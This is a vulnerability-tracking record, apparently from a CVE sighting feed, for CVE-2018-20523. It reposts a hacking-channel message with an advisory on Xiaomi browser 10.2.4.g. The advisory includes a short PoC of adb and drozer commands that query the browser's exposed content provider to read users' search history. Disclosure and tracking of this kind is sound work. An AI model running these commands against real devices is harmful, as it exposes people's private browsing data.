{"uuid": "12b5dea5-61bd-4dda-bc3d-7edad66760f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-20523", "type": "seen", "source": "https://t.me/hacking_Attack/20016", "content": "Exploit Collector\nXiaomi 10.2.4.g Information Disclosure\n\nhttps://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png \nXiaomi browser version 10.2.4.g suffers from a browser search history disclosure vulnerability.\n\nMD5 | 9dea490704dc2785ee1fa573e8494850\n\nDownload\n# Exploit Title: Xiaomi browser 10.2.4.g - Browser Search History Disclosure\n# Date: 27-Dec-2018\n# Exploit Author: Vishwaraj101\n# Vendor Homepage: https://www.mi.com/us\n# Software Link: https://www.apkmirror.com/apk/xiaomi-inc/mi-browse/mi-browse-10-2-4-release/\n# Version: 10.2.4.g\n# Tested on: Tested in Android Version: 8.1.0\n# CVE : CVE-2018-20523\n\n*summary: *\nXiaomi Stock Browser 10.2.4.g on Xiaomi Redmi Note 5 Pro devices and other Redmi Android phones were vulnerable to content provider injection using which any 3rd party application can read the user\u2019s browser history.\n\n*Vulnerable component:* com.android.browser.searchhistory\n\n*Poc:*\n\nadb forward tcp:31415 tcp:31415\n\ndrozer console connect\n\ndrozer > run app.provider.query\ncontent://com.android.browser.searchhistory/searchhistory\n\n*Blogpost:*\n\nhttps://vishwarajbhattrai.wordpress.com/2019/03/22/content-provider-injection-in-xiaomi-stock-browser/\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:28.416320Z"}